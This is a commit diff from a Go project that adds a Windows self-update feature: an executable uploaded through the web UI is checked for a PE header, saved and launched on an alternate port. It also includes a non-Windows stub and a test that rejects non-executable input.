feat(update): add update deployment via web UI
- Deploy exe to alternate port 5033 - Current instance keeps running - Add parallel mode and addr flag - Add update panel to web UI - Update OpenAPI spec and CLI
This commit is contained in:
@@ -0,0 +1,9 @@
|
||||
//go:build !windows
|
||||
|
||||
package update
|
||||
|
||||
import "errors"
|
||||
|
||||
func deployLaunch(savedPath, nextAddr string) error {
|
||||
return errors.New("deploy is only supported on windows")
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
//go:build windows
|
||||
|
||||
package update
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||
)
|
||||
|
||||
func deployLaunch(savedPath, nextAddr string) error {
|
||||
args := []string{"-parallel", "-addr", nextAddr, "-skip-install"}
|
||||
if err := instance.Launch(savedPath, args); err != nil {
|
||||
return fmt.Errorf("launch update: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
package update
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
// Deploy saves exe and launches it on the alternate listen port (5032 <-> 5033).
|
||||
func Deploy(currentAddr string, body io.Reader) (savedPath, nextAddr string, err error) {
|
||||
nextAddr, err = config.AlternateListenAddr(currentAddr)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
if err := listenAvailable(nextAddr); err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
|
||||
dir, err := config.UpdatesDir()
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
|
||||
name := fmt.Sprintf("update-%s.exe", time.Now().Format("20060102-150405"))
|
||||
savedPath = filepath.Join(dir, name)
|
||||
out, err := os.OpenFile(savedPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
|
||||
var head [2]byte
|
||||
if _, err := io.ReadFull(body, head[:]); err != nil {
|
||||
_ = out.Close()
|
||||
_ = os.Remove(savedPath)
|
||||
return "", "", fmt.Errorf("invalid executable")
|
||||
}
|
||||
if head[0] != 'M' || head[1] != 'Z' {
|
||||
_ = out.Close()
|
||||
_ = os.Remove(savedPath)
|
||||
return "", "", fmt.Errorf("file is not a Windows executable")
|
||||
}
|
||||
if _, err := out.Write(head[:]); err != nil {
|
||||
_ = out.Close()
|
||||
_ = os.Remove(savedPath)
|
||||
return "", "", err
|
||||
}
|
||||
if _, err := io.Copy(out, body); err != nil {
|
||||
_ = out.Close()
|
||||
_ = os.Remove(savedPath)
|
||||
return "", "", err
|
||||
}
|
||||
if err := out.Close(); err != nil {
|
||||
_ = os.Remove(savedPath)
|
||||
return "", "", err
|
||||
}
|
||||
|
||||
if err := deployLaunch(savedPath, nextAddr); err != nil {
|
||||
_ = os.Remove(savedPath)
|
||||
return "", "", err
|
||||
}
|
||||
return savedPath, nextAddr, nil
|
||||
}
|
||||
|
||||
func listenAvailable(addr string) error {
|
||||
ln, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
return fmt.Errorf("port %s is not available: %w", addr, err)
|
||||
}
|
||||
_ = ln.Close()
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package update
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestDeployRejectsNonPE(t *testing.T) {
|
||||
_, _, err := Deploy("0.0.0.0:5032", bytes.NewReader([]byte("not-exe")))
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user